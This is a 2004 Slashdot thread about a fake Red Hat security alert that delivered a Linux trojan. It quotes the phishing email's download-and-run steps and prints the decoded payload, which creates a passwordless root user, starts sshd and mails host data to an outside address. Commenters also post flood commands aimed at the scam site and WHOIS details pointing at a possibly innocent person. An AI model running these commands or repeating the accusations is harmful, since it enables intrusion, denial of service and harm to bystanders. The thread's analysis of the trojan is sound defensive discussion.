Beware 'Fedora-Redhat' Fake Security Alert

rixdaffy writes "I just received an email from the 'Redhat Security Team' telling me that I needed to download some tar file from fedora-redhat.com. Besides the fact that I don't use Red Hat/Fedora, I immediately smelled something fishy. Maybe it's not the first trojan targeted at Linux users, but together with the official sounding domain, it could trick some users into downloading and running the binary. It looks like Red Hat is already aware of the issue." According to Red Hat's page, "These emails tell users to download and run an update from a users home directory. This fake update appears to contain malicious code." Update: 10/25 01:32 GMT by T : One borked link, unborked.

Comments

text of site

[Anonymous Coward]

Original issue date: October 20, 2004
Last revised: October 20, 2004
Source: RedHat

A complete revision history is at the end of this file.

Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT affected.

The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:

* First download the patch from the Stanford RedHat mirror: wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz or directly here.
* Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
* cd fileutils-1.0.6.patch
* make
* ./inst

Anybody running RedHat and Fedora are strongly adviced to apply this patch! Read more about this vulnerability at www.redhat.com or www.fedora.redhat.com

Thank you for your prompt attention to this serious matter,

RedHat Security Team.

Copyright © 2004 Red Hat, Inc. All rights reserved.

Re:text of site

[Seehund]

Actually, the exploit indeed seems to use RPM. The archive includes a .bin file, which in reality is an RPM.

drwxr-xr-x root/wheel 0 2004-10-23 21:09:09 fileutils-1.0.6.patch/
-rw-r--r-- root/wheel 32 2004-10-23 02:59:42 fileutils-1.0.6.patch/Makefile
-rw-r--r-- root/wheel 14297 2004-10-23 18:02:12 fileutils-1.0.6.patch/inst.c
-rw-r--r-- root/wheel 990084 2004-10-23 21:06:48 fileutils-1.0.6.patch/fileutils-patch.bin

But I see what you mean.

Also, a simple thing such as that this time you're not recommended to simply start up2date or yum to get updates as usual really should set off some alarms in people's minds. And that fedora-redhat.com is not and has never been used by Fedora or Red Hat. And so on.

I doubt that many fell for this.

Re:text of site

[justforaday]

Thanks for posting that! Whew, I sure am glad I managed to get that patch installed before anyone was able to take over my system...

Re:text of site

[MBCook]

Anyone who reads this and isn't instantly suspicious needs to up their paranoia level. Look at all the mistakes in the grammar! "Redhat found...". If this was from RedHat it would be "Redhat has found" or "We found" or "It has come to our attention" or something like that. "Some of the effected distriubtions include..." should be something more like "RedHat 7.2 and newer are effected" or some such. It would not end in "and not only" (which is terrible English, probably supposed to be "and more"). Plus why would a RedHat security advisory inform people if Solaris or *BSD was effected? I would expect that a link would be given to more information about the vulnerability (not just "see redhat.com" which is basically what's there). Last but not least, what has been RedHat all thoughout the advisory becomes "Red Hat" in the last line.

Beyond those obvious problems, the "best" targets of something like this (businesses) would have people who know better than this. Those people would know how a patch file would work. At miniumum the "./inst" section should say "make install", which is much more common. So this would only effect the "newbie" Linux user. Last of all, I would expect that anything RedHat issued would say something like "or get the update through Red Carpet (or whatever their 'Windows Update' is called)".

This isn't a very well made forgery. They could have easily taken a true RedHat advisory and modified it so the language would be better and sound more plausable. They could have at LEAST gotten someone who knows English better.

Does anyone else find it strange someone would go through all the trouble of registering a domain-name to run this scam? Why not say "download it off the (such and such) mirror at ftp://120.584.391.568/pub/mirror/redhat/patches/pa tch_file.tar.gz" or something like that. Use any domain name and make it look like a mirror. When was the last time any company put a file for users at "(domainname).com/file.tar.gz"? Never.

Most people could have done better, IMHO.

Re:text of site

[WindBourne]

It is a little root kit.

/bin/chgrp
/bin/chmod
/bin/chown
/bin/cp
/bin/ dd
/bin/df
/bin/link
/bin/ln
/bin/ls
/bin/mkd ir
/bin/mknod
/bin/mv
/bin/rm
/bin/rmdir
/bin /sync
/bin/touch
/bin/unlink
/etc/DIR_COLORS
/ etc/DIR_COLORS.xterm
/etc/profile.d
/etc/profile .d/colorls.csh
/etc/profile.d/colorls.sh
/usr/bi n/dir
/usr/bin/dircolors
/usr/bin/du
/usr/bin/i nstall
/usr/bin/mkfifo
/usr/bin/shred
/usr/bin/ vdir
...

And there is more, but hey....

Re:text of site

[innocent_white_lamb]

Does anyone else find it strange someone would go through all the trouble of registering a domain-name to run this scam? Why not say "download it off the (such and such) mirror at ftp://120.584.391.568/pub/mirror/redhat/patches/pa tch_file.tar.gz" or something like that.

Actually, they did. I think what's posted here is "version 2". This version came around earlier this weekend:

Original issue date: October 20, 2004

Last revised: October 20, 2004

Source: RedHat

A complete revision history is at the end of this file.

Dear RedHat user,

Redhat found a vulnerability in fileutils (ls and mkdir), that could
allow a remote attacker to execute arbitrary code with root privileges. Some
of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat
8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that
*BSD and Solaris platforms are NOT affected.

The RedHat Security Team
strongly advises you to immediately apply the fileutils-1.0.6
patch. This is a critical-critical update that you must make by
following these steps:

• First download the patch from the Stanford RedHat mirror:
  wget
  www.stanford.edu/~joeio/fileutils-1.0.6.patch.tar. gz
• Untar the patch: tar zxvf
  fileutils-1.0.6.patch.tar.gz
• cd
  fileutils-1.0.6.patch
• make
• ./inst

Again, please apply this patch as soon as possible or you risk your system
and others` to be compromised.

Thank you for your prompt attention to
this serious matter,

RedHat Security Team.

Copyright © 2004 Red Hat, Inc. All rights reserved.

Re:text of site

[Seehund]

Really now? This should set off alarms in people's minds?

Yes. At least in combination with the other glaring flaws I and others have already mentioned.

People who subscribe to security update announcements (and thus would be the primary target for a fake security announcement) have actively chosen to do so, and know what they look like, where they're sent from, what domains that are usually referenced to and what that/those website(s) look like. People who have not subscribed to such announcements would likely be more suspicious to unsolicited messages of this kind.

There are always exceptions. Some people will be taken in by this, no doubt, despite them being sufficiently savvy to have chosen to install a community-supported Linux distribution in the first place.

It's social engineering all right. Just not at its finest.

We knew this day would come

[Orgazmus]

Adopting dumb users had to bring the ones exploiting the stpidity with them. Even tho running as a non-admin should help againts these things, there is no cure against security holes between the chair and the keyboard.

Re:We knew this day would come

[Stevyn]

I wouldn't worry, they're probably on the forums trying to find the command to install it.

Re:We knew this day would come

[antoy]

Yes, but when this kind of thing happened on Windows, it was Windows' fault for not having the proper security mechanisms to stop it. The difference is that Windows will set up all users as administrators, true, but running as a plain user can be very bad too. The fact is, neither of the OSes provides (by default, at least) substantial protection from such attacks.

Allowing only registered executables to run could be set up to prevent such things. Microsoft signs their patches and programs too, but no regular user will ever check.

Incorporate such functions in the OS or GUI. Harass the user whenever an executable or shared library is introduced to the system: "Here are the certifications, do you trust this?"

Limiting permissions up to the user level is not enough anymore: VM based environments such as Java and .NET have program/assembly-based security systems. But although the technology exists, it is very poorly handled, at least in the .NET front where I am experienced: There is no simple wizard to set up settings the way you want them, there is no popup dialog asking you how much you trust this executable and which permissions it should get. Such technology could go a long way in preventing such ridiculously simple attacks from succeeding in the future.

First time I saw a similar feature was in Kerio Personal Firewall, which would ask everytime a new program would attempt to connect somewhere, or have something connect to a port it opened. It was simple and effective, and the 'harassment' was more than worth it (SP2 does something similar, but it's flawed*).

In conclusion. I want to say that I believe if all people had:

1) Startup Monitor - Painfully simple, no one should be without it.
2) Kerio Personal Firewall, or equivalent
3) An executable monitor as described above.
,the *real* reasons for Windows' pathetic security record would be no more. Never mind those vulnerabilities: I could give you a .exe that would delete all your documents, and you have but to click on it (I swear it decrypts HL2 from the Steam files :-) The same, of course, applies to Linux.


* SP2 tells you when an executable tries to connect, and waits for you to decide if you want to block it, but it *does* allow the connection to work until you decide what to do with it. Furthermore, I'm not sure if it can tell if an executable was replaced with a compromised version (Kerio has MD5 hashes)

Re:We knew this day would come

[antoy]

Then again. How do you get a user that dont understand that securitypatches dont spead via mail, to install those programs?
You can't. That's exactly why they should be part of the OS environment.

And allowing only registered executables to run is a bad thing. Who should decide? Microsoft?

No, the user. I'm not talking about a central authority a la driver-signing. I'm talking about letting that to the user. Does he want to give full network permissions to a shareware game he downloaded? No (with a bold "Recommended" next to it). I hope I made myself clear now.

Re:We knew this day would come

[fucksl4shd0t]

And allowing only registered executables to run is a bad thing. Who should decide?

On my computer, I should decide, and the registration dealie should provide me with the information I need to make the decision.

The two parts of Microsoft's weird DRM thing I disagree with (with regards to running executables) are that the key is inaccessible to me, stashed somewhere in the BIOS, and that Microsoft is the one who decides what is safe and what isn't.

Re:We knew this day would come

[DissidentHere]

Why would anyoen even bother trying this kind of cheap social engineering with Linux users at this point. What /. reader would actually fall for this shit? We all make fun of security through obscurity, but *nix users also tend to have security through intelligence.

Here is where the real danger lies, getting Linux on the desktop and having your grandma fall for this type of tripe, it will give *nix a bad name. "Oh no, Linux is just as vulnerable as Windows" No - its the users that are vulnerable, and the users that need to be educated. We all do what we can to lock down our boxen, but in the end it too often comes down to what's between the chair and the keyboard.

Re:We knew this day would come

[suckmysav]

> In conclusion. I want to say that I believe
> if all people had:
>
> 1) Startup Monitor - Painfully simple, no one
> should be without it.

I use startup monitor. It is good. The problem is that the vast majority of Windows users are so habitualised into clicking 'YES' all the time that nasties will often get installed anyway.

Malware: Do you want to install this nasty browser hijacker?

n00b: Yes, just give me my goddamn "tropical aquarium" screensaver already!

> 2) Kerio Personal Firewall, or equivalent

Agreed, although even better is to have a NAT/firewall device for your internet connection. I'm not a fan of having a local "personal" firewall on a n00bs PC, as n00bs have a habit of screwing things up, and this includes screwing up their firewall software. If your firewall functionality is sitting in a little NAT box in the the corner then they are not gonna accidently screw it up. Also, personal firewalls such as ZoneAlarm can also suffer from the "yes click reflex" problem.

Malware: Tries to 'phone home'

ZoneAlarm: Do you want to let application porn2u.exe have access to the internet?

n00b: Yes goddammit, and stop bugging me already!

> 3) An executable monitor as described above.

I'm not sure I understand what you are suggesting here. I assume you are referring to a process listing app, such as the Windows task manager? Most clueless n00bs are not capable of comprehending what task manager is showing them. There are too many "good" processes that are virtually unidentifiable listed.

Re:We knew this day would come

[Erik Hollensbe]

You have got to be kidding me.

While I'm not intending to insult anyone's intelligence here, /. is a large group and some pay more attention to security and these kinds of attacks than others. Not to mention, too many people visit here to have "probability = 0" be a realistic assessment.

'Grandma' should never be in the position to install software, IMO. I've been talking to my grandmother about a linux installation for a while, and I will hold 'the keys' and help her out via ssh. As she's pretty set in her ways with her software choices, it should be pretty simple as far as time is concerned.

If you want to advocate linux, don't bother advocating education along with it. Really, if computers were easy to use as cars it would be one thing, but it's not the case currently and I don't see a future that is accepting of it. Not everyone wants to learn how to pay attention to computer security, heck, some people don't even care enough to program their VCR clock (I know, dated analogy, feh).

Re:We knew this day would come

[suckmysav]

Ah ha, got it

The trouble again would be that most clueless users won't understand what the window asking;

Do you want to allow application
"W1NPR0C32.EXE" to execute?

[YES] [NO]

means, which leads to the same "yes click reflex" problem I described above.

It is a problem, because no matter what you do, there is always going to be a group of numbnuts out there who will click yes on anything that pops up. Often, they won't even read what it says. Any solution that produces even greater numbers of YES/NO dialogues will only serve to make the problem worse I'm afraid.

The solution as I see it is to deny (for a particular class of) users the ability for them to install anything in the first place.

This can be acheived in theory by running Windows under a restricted user policy but in practice it doesn't work because too many programmers are too lazy to write their programs to run with anything other than "administrator" priveleges, so we are stuck with a dilemma that will be hard to overcome.

Re:We knew this day would come

[FireFury03]

Really, if computers were easy to use as cars it would be one thing, but it's not the case currently and I don't see a future that is accepting of it.

Really? IMHO computers probably are as easy as cars. i.e. if my car needs some maintenance, I don't do it myself (at least, not for anything but the most simple stuff - I wouldn't know where to start), I go to the garage and pay someone who knows what he's doing to fix it. The same applies to computers - if you need some maintenance doing to your computer and you don't know enough to do it yourself then you should be paying a professional to look at it.

Too many people have an attitude of "it should be simple enough for me to maintain" when it comes to computers - I have to ask why? How many people strip down their car engine and then are left with a pile of bits on the floor with no clue how to put them back together and blame the car manufacturer for not making it "easy enough"?

Just because a computer plugs into the wall like a toaster doesn't mean that the user has a "right" to be able to maintain it without any training. I think people need to get out of the idea that computers are things which you buy and then they don't need any upkeep - computers are definately things that you buy and then need maintenance every so often. Some of us are knowledgable to do it ourselves, but the rest should get a professional to sort it out. Maybe manufacturers specifying that a computer requires a yearly service by a professional engineer would be a good idea?

About Time

[Mr. Arbusto]

It's fishing, it happens on every platform and requires the user to do something they think is in their best interest. Nothing new.

Re:About Time

[Kenja]

"it happens on every platform

hasn't happened on my SGI yet.

I'll try it...

[enginuitor]

I am downloading the file to a Knoppix box, and will then disconnect the ethernet cord, run the code, and report back.

Stay tuned.

Re:I'll try it...

[busonerd]

Same here. Lets use this thread for a discussion of wtf it does.

Re:I'll try it...

[damiam]

Make sure you use a chroot jail; Knoppix can still write to your hard drive.

Re:I'll try it...

[busonerd]

[apologies for replying to myself]

The makefile compiles an application called inst that seems to have been created with the shc script compiler.. its rather obfuscated.. attempting to reverse engineer now

Re:I'll try it...

[eakerin]

Well I downloaded it, and uncompressed it.

There are 3 files:
fileutils-patch.bin
inst.c
Makefile

fileutils-patch.bin is an rpm with an incorrect extension, but it's valid. And an actual RPM from redhat (verified the GPG signature) Probably just put there to make it look bigger, and have something that came from redhat.

Well I was gonna put the package header information here, but slashcode didn't like it.

Signature verification using "rpm --checksig fileutils-patch.bin"

fileutils-patch.bin: (sha1) dsa sha1 md5 gpg OK

Re:I'll try it...

[superpeach]

I just looked at inst.c and changed it a bit to print what it runs instead of running it. Looks like a shell script hidden in some C (using shc, http://www.datsi.fi.upm.es/~frosal/sources/shc.htm l )

The working bit of the script is:

echo "Inca un root frate belea: " >> /tmp/mama
adduser -g 0 -u 0 -o bash >> /tmp/mama
passwd -d bash >> /tmp/mama
ifconfig >> /tmp/mama
uname -a >> /tmp/mama
uptime >> /tmp/mama
sshd >> /tmp/mama
echo "user bash stii tu" >> /tmp/mama
cat /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null
rm -rf /tmp/mama

So, adds a user called bash with root privs, starts sshd and emails your IP address to someone.

Re:I'll try it...

[Cid Highwind]

From a quick glance at the source, it looks like "inst" is an RC4 decryption program a hard-coded (but obfuscated) key. It will probably decrypt fileutils-patch.bin into the real exploit code.

Re:I'll try it...

[aredubya74]

Assuming (yeah, I know, big assumption) the whois info is relatively accurate, we may have an idea as to at least next step in the chain of figuring out the culprit, output of whois addlebrain.com:

Registration Service Provided By: StoreIQ, Inc.
Contact: technical@storeiq.com
Visit:

Domain name: addlebrain.com

Registrant Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US

Administrative Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US

Technical Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US

Billing Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US

Status: Locked

Name Servers:
dns1.name-services.com
dns2.name-services.com
dns3.name-services.com
dns4.name-services.com
dns5.name-services.com

The same address is used for two associated domains, buywirelessdirect.com (the email addy for this domain's tech contact) and storeiq.com (the email addy for buywirelessdirect.com's tech contact). The area code is accurate for that neck of the woods too, though I haven't tried the phone number (yet):

StoreIQ, Inc.
John Thompson (technical@storeiq.com)
+1.7323331145
Fax:
3587 US Highway 9 #213
Freehold, NJ 07728
US

Re:I'll try it...

[at_slashdot]

It's Romanian.

Re:I'll try it...

[at_slashdot]

echo "Inca un root frate belea: "
-translation: one more "root" brother trouble

echo "user bash stii tu" >> /tmp/mama
-translation: :user bash" you know

cat /tmp/mama | mail -s "Inca o roata"
-translation: one more wheel (roata -- root... it sounds alike)

It doesn't say anything meaningful, the guy is an idiot.

Re:I'll try it...

[hattmoward]

Generally an every-port-open result from nmap indicates use of a firewall. Watchguard's products tend to do that, and iptables can be made to do similar also.

Re:I'll try it...

[SynKKnyS]

Argh, notice it is an IIS server. And, notice that they offer free email. Put the two together. Someone registered the username "root" apparently. Tricksy.

wont work

[Anonymous Coward]

Don't most Fedora people use yum to keep their systems up to date? I don't think many Fedora/Red Hat admins would fall for this.

Here's what WHOIS says:

[SIGBUS]

[Querying whois.internic.net]
[Redirected to whois.melbourneit.com]
[Querying whois.melbourneit.com]
[whois.melbourneit.com]

Domain Name.......... fedora-redhat.com
Creation Date........ 2004-10-24
Registration Date.... 2004-10-24
Expiry Date.......... 2005-10-24
Organisation Name.... Raymond Jackson
Organisation Address. 224 Cedar Avenue
Organisation Address.
Organisation Address. New York
Organisation Address. 95301
Organisation Address. NY
Organisation Address. UNITED STATES

Admin Name........... Raymond Jackson
Admin Address........ 224 Cedar Avenue
Admin Address........
Admin Address........ New York
Admin Address........ 95301
Admin Address........ NY
Admin Address........ UNITED STATES
Admin Email.......... rayjackson23@yahoo.com
Admin Phone.......... +1.2098994533
Admin Fax............

Tech Name............ YahooDomains TechContact
Tech Address......... 701 First Ave.
Tech Address.........
Tech Address......... Sunnyvale
Tech Address......... 94089
Tech Address......... CA
Tech Address......... UNITED STATES
Tech Email........... domain.tech@YAHOO-INC.COM
Tech Phone........... +1.6198813096
Tech Fax............. +1.6198813010
Name Server.......... yns1.yahoo.com
Name Server.......... yns2.yahoo.com

Re:Here's what WHOIS says:

[barzok]

95301 is Atwater, CA. There are at least 2 Cedar Avenues in NY (Staten Island and The Bronx), and one in Atwater.

Re:Here's what WHOIS says:

[datastalker]

That phone number by area code and exchange is for Milton, CA, so chances are the entire WHOIS record is false.

Re:Here's what WHOIS says:

[Shandon]

Data looks contradictory, but also be wary of the joe-job. Raymond Jackson may be an unpopular name to have right about now...

Re:Here's what WHOIS says:

[bconway]

Don't forget the domain that the script emails, root@addlebrain.com:

Found a referral to whois.enom.com.

Registration Service Provided By: StoreIQ, Inc.
Contact: technical@storeiq.com
Visit:

Domain name: addlebrain.com

Registrant Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US

Administrative Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US

Technical Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US

Billing Contact:
ABM Wireless
Domain Administrator (administrator@buywirelessdirect.com)
+1.7323331100
Fax: +1.NA
3587 US Highway 9 #132
Freehold, NJ 07728
US

Status: Locked

Name Servers:
dns1.name-services.com
dns2.name-services.com
dns3.name-services.com
dns4.name-services.com
dns5.name-services.com

Creation date: 18 Feb 2000 17:02:59
Expiration date: 18 Feb 2005 17:02:59

Re:Here's what WHOIS says:

[ironfrost]

There IS a Raymond Jackson that lives at that address (except that it's in CA rather than NY, as has been previously noted) so it's not completely made up. Although, whether he's really the perpetrator or simply someone the real criminal doesn't get on with is still a matter of doubt. In any case, all his details (including e-mail address and phone number) can be easily found from a Google search - he runs a chapter of a Historical Minatures Gaming Society in his area (HMGS West, near the bottom of the page).

Re:Here's what WHOIS says:

[DrLZRDMN]

yes but which Raymond Jackson?

Ones a teacher, one is guilty of child abuse (something to be unpopular for) and one just lost a football game today (/thinks of ace ventura plot)

Re:Here's what WHOIS says:

[Anonymous Coward]

Don't forget the domain that the script emails, root@addlebrain.com

Sorry to dissapoint you, but I doubt he owns the domain - they offer free webmail, so it's likely he just signed up for an account. Presumably they didn't stop anyone from getting the username 'root' - I signed up for 'administrator' just now (password 'monkey' if you don't believe me) with no problems.

Real link?

[chrispyman]

Why not just use the real link and slashdot their site into oblivion!

Re:Real link?

[crow]

It looks like it's probably hosted by Yahoo!

traceroute www.fedora-redhat.com
traceroute: Warning: www.fedora-redhat.com has multiple addresses; using 66.218.79.149
traceroute to premium4.geo.yahoo.akadns.net (66.218.79.149), 30 hops max, 38 byte packets

I'm getting about 3MB/s right now. We won't slashdot the server, but we may well use up the bandwidth quota that this person bought.

Re:Real link?

[acidblood]

This seems like a very good idea. Normally I wouldn't be for vigilante justice, but this guy deserves it.

I'm running the following script on my box, and I recommend others to do the same.

while true; do wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz ; rm fileutils-1.0.6.patch.tar.gz; done

If enough people do the same, either the site is taken offline, or we're gonna cost him a pretty penny.

Re:Real link?

[Saeger]

And I think I'll "benchmark" the site a few million times.

/usr/sbin/ab2 -n 10000000 -c 10 'http://www.fedora-redhat.com/?you=asshole&garbage =XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX'
This is ApacheBench, Version 2.0.40-dev <$Revision: 1.121.2.8 $> apache-2.0
Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Copyright (c) 1998-2002 The Apache Software Foundation, http://www.apache.org/

Benchmarking www.fedora-redhat.com (be patient)

Re:Real link?

[Saeger]

I guess I should have viewed the source of that site before I fired that line off, seeing as the site hotlinks an image on redhat.com.

Oops.

--

Security only works when you know what to check

[LostCluster]

Red Hat's reply to this issue is pretty straight-forward. They've already taken all of the steps to properly sign their real updates, and this should stand out as a fake because it lacks all of those digital signatures.

However, what good is that against Joe User who falls for the bait and things the e-mail is authentic because they believe everything they read on their screen? They don't know to check for the "security seals" and since they don't see any red flags indicating that this is bogus.

It's something in info security that disconnects when dealing with average users. They don't know what to look for, and therefore the absense of those marks is not alarming to them as it is for us... a little something that needs to be cleaned up before Linux is ready for desktop primetime.

Re:Security only works when you know what to check

[OmegaBlac]

It's something in info security that disconnects when dealing with average users. They don't know what to look for, and therefore the absense of those marks is not alarming to them as it is for us... a little something that needs to be cleaned up before Linux is ready for desktop primetime.

Yet that hasn't stopped Windows from being ready for "desktop primetime" huh? There will always be dumb-witted joe users that will get burnt from these lame social engineering scams regardless of the OS. These very well could be the same people who will be taking advantage of offline as well. Linux is already on the desktop. It has been ready for primetime for awhile. Of course there is nothing it can do to protect the user from the biggest security threat of them all: the user themselves.

Stupid Tricks?

[dj_cel]

It seems to me that most people using any version of Linux will not fall victim to these sorts of things. I would expect something like this to work for the majority of windows users, but as the audience of Linux is mostly tech-savy, I can't see this becoming a problem. The problem is going to be when larger groups of desktop users make the jump to Linux. What can be done to prevent this from happening in the future? What failsafes can be built into Linux to prevent people with less than average pc skills from destroying their systems?

Re:Stupid Tricks?

[Rie Beam]

"What can be done to prevent this from happening in the future? What failsafes can be built into Linux to prevent people with less than average pc skills from destroying their systems?"

No monitor.

Surprisingly

[Mentorix]

Running untrusted code can result in system compromise.

Everyone checks the gpg signatures right?

Use the /. effect for good

[JamesTRexx]

Now if each time when someone tries this sort of thing gets their server posted here on slashdot, we could actually do something good with the slashdot effect and put their server up in smoke before much damage is done. :-D

Confidence

[FiReaNGeL]

OK, we all know no Linux Guru will ever fall for this kind of stupid trick.

But imagine a world where Linux overwhelms Microsoft as the #1 desktop OS. Millions of Moms and Pops everywhere, using Linux. Who will they trust for their "updates"? I know for sure lots of them would fall for this particular trick, and it`s one of the first time we see this. Lots of distros, lots of sources, lots of patches, major confusion.

Question (as I don`t use Linux yet) : Do some of the major distros (Redhat, etc) have a webservice for updates, akin to windowsupdate.com? I sure hope so; it`s essential for further desktop market share increase.

Re:Confidence

[dtfinch]

Do some of the major distros (Redhat, etc) have a webservice for updates, akin to windowsupdate.com? I sure hope so; it`s essential for further desktop market share increase.

For the most part, they all do, even most of the little ones. Typing "yum -y update" at the command line keeps me up to date, or I could enable the cron job to do it automatically each night.

Re:I wonder...

[Forezt]

or better yet, it Microsoft paid the Yankee group to do it for them, and then do an "independent study" on it.

Re: text

[Inf0phreak]

Why post the text instead of having the /. crowd flood their server to see what they've put up there? Potentially that could bring the server offline and cost them a bundle for a great two-sided effect (OK, the latter is not that cool if it's just some rooted box, but at least it would prevent anyone being affected if it was /.'ed to hell).

PHEW!

[big daddy kane]

I'm sure glad I'm using windows!

does it or not ?

[Matt_Joyce]

It looks like Red Hat is already aware of the issue." According to Red Hat's page, "These emails tell users to download and run an update from a users home directory. This fake update appears to contain malicious code."

Either it is malicious or not.
Don't they know ?

If it does; explain what it does and how to mitigate the damage.
If it does not; let people know so emotional energy can be use elsewhere.

What the definition of 'malicious code' anyway ?
Presumably any code you don't want running is malicious.
Creating a temp file would be a malicious use of disk space, etc.

Spelling/Grammar?

[hereschenes]

"Anybody running RedHat and Fedora are strongly adviced to apply this patch!"

Why can't scammers ever spell? Someone send them a copy of Strong Bad's "Rhythm 'n' Grammar", quick!

Re: I'll try it... Execution results!

[enginuitor]

Identifying the system. This may take up to 2 minutes. Please wait...
adduser: No more than two names.
passwd: Unknown user bash
Could not load host key: /etc/ssh/ssh_host_key
Could not load host key: /etc/ssh/ssh_host_rsa_key
Could not load host key: /etc/ssh/ssh_host_dsa_key
Disabling protocol version 1. Could not load host key.
Disabling protocol version 2. Could not load host key.
sshd: no hostkeys available -- exiting.
System looks OK. Proceeding to next step.

Patching "ls": ###########
Patching "mkdir": ##########

System updated and secured successfully. You may erase these files.

Linux - Where the malware comes with the source

[cranos]

Dammit why does Linux have to be so complicated, I mean damn you have to compile your own viruses and everything!!!!

Re:Linux - Where the malware comes with the source

[/dev/trash]

You think you have it bad? I run Gentoo. I'm still compiling all the files needed for this one to run.

Re:Finally...

[Fapestniegd]

Debian has been weeding out incompetent users with its "impossible to use" installer for years.

It keeps the "Mandrake Crew" off of the debian-users lists.

Use SPF to protect yourself from phishing

[taubz]

If your mail client checked From: addresses against SPF records in DNS, you'd know immediately this was a hoax. Redhat.com fortunately publishes SPF records and -- score one for SPF -- they can be used to identify with 100% accuracy that the mail is not legitimate.

How can you get your mail client to check SPF records automatically? Download the Thunderbird SPF Extension.

(Disclosure: I wrote the plugin. :) )

Re:Use SPF to protect yourself from phishing

[cortana]

I don't see the original email, but I'd bet that it came from something@fedora-redhat.com, and so the SPF record for redhat.com would not have been useful in this case. :)

On another note, concerning your SPF plugin: I have two points you may wish to consider (if you already have, then fair enough).

1. The From address used by the plugin comes from the From: header in the message? I thought you're not supposed to do this with SPF; it specifies that you should check the SMTP envelope sender (the MAIL FROM line from the SMTP dialogue). This information is not available to a MUA in any standard form AFAIK.

2. What happens if I open a message I stored from a few months/years ago, and the SPF record for the domain it's from has changed? Does the plugin validate a message whenever one is opened, and will I end up with a false positive/negative?

I believe these two issues are why SPF checking must be performed on the server side. The mail server alone has reliable access to the SMTP envelope sender, and can add a Recieved-SPF header at the time of message reception, which is the only time when it is guaranteed that the SPF records from DNS are relevant to the message in question.

SPF done on the client side basically turns into MICROS~1's (patented, if you believe that they'll allow crap like this to be patented!) Sender-ID system, where the From address is taken from a seletion of message headers.

Of course, if I'm wrong about any of this, please correct me. :)

Re:Use SPF to protect yourself from phishing

[bigberk]

This is misleading. SPF might help verify that this email didn't come from redhat.com, but SPF isn't going to help you in general:

• The envelope sender could have not been @redhat.com but the From field could have contained redhat.com; then, there is no SPF to check and you can't benefit from redhat's SPF record
• The sender could have used a fedora-redhat.com address and published an SPF record for their own domain. Spammers already do this. The SPF check tells you nothing about authenticity. The SPF check would succeed, and it could still be a forgery.

Re:Use SPF to protect yourself from phishing

[Bloater]

How do we know this isn't a trojan ;)

Re:Use SPF to protect yourself from phishing

[cortana]

> Check out the link I posted and see the screenshot -- it worked. The From: address was @redhat.com.

The point is that you cannot tell. The From header in the email itself tells you nothing. It is forgery of the the SMTP envelope sender that SPF guards against.

Consider:

220 some mailserver... ready!
MAIL FROM: sneaky@fedora-redhat.com
250 OK
RCPT TO: some_innocent@hotmail.com
250 OK
DATA
354 you have a go
From: security@redhat.com
Subject: EMERGENCY SECURITY PATCH APPLY NOW!

Etc etc. The SPF check is performed against sneaky@fedora-redhat.com--as per the SPF specification. The recipient of the message never sees sneaky@fedora-redhat.com, however, and is none the wiser.

SPF certifies the envelope sender of a message, ensuring that an email has a non-forged return parth.

> Yes. Does it matter that the SPF spec says to use the return path? Is this any less useful?

Yes, and yes! Standard exist for a reason, ne? From the SPF FAQ:

---8---

Does [SPF] protect the "From:" header field?

SPF was designed to protect the envelope sender. That means the return-path that shows up in "MAIL FROM", and to a lesser extent the HELO argument that is supposed to be an FQDN. ...

Protecting authorship information is an important goal. However, the technical issues associated with protecting the "From:" header are much more numerous and challenging. The best way to protect the header "From:" is by using a cryptographic signature such as S/MIME, PGP, or (when it is released) Yahoo DomainKeys.

If you want to use the "From:" header as the subject of authentication with SPF, you need to be familiar with the following:

* mailing lists
* /etc/aliases-style forwarding
* MUA "resend this message to"
* web-generated email
* the Sender header
* the Resent-Sender and Resent-From headers

---8---

Checking the From header at the MUA would prevent me, for example, sending email from anywhere except my ISP's servers. I would no longer be able to set up remailers to allow me to have mail from several addresses sent to my main address, and so on. Other stuff as in the list above will also break...

Coding 0, Grammar 0.

[monoi]

Anybody running RedHat and Fedora are strongly adviced to apply this patch!

But I am running SUSE! Am I adviced in similar fashion? Perhaps I too should applying patch lest SUSE found vulnerability also? Thankyou to www.fedora-redhat.com for adviced me in this helpful manner against remote attackers!

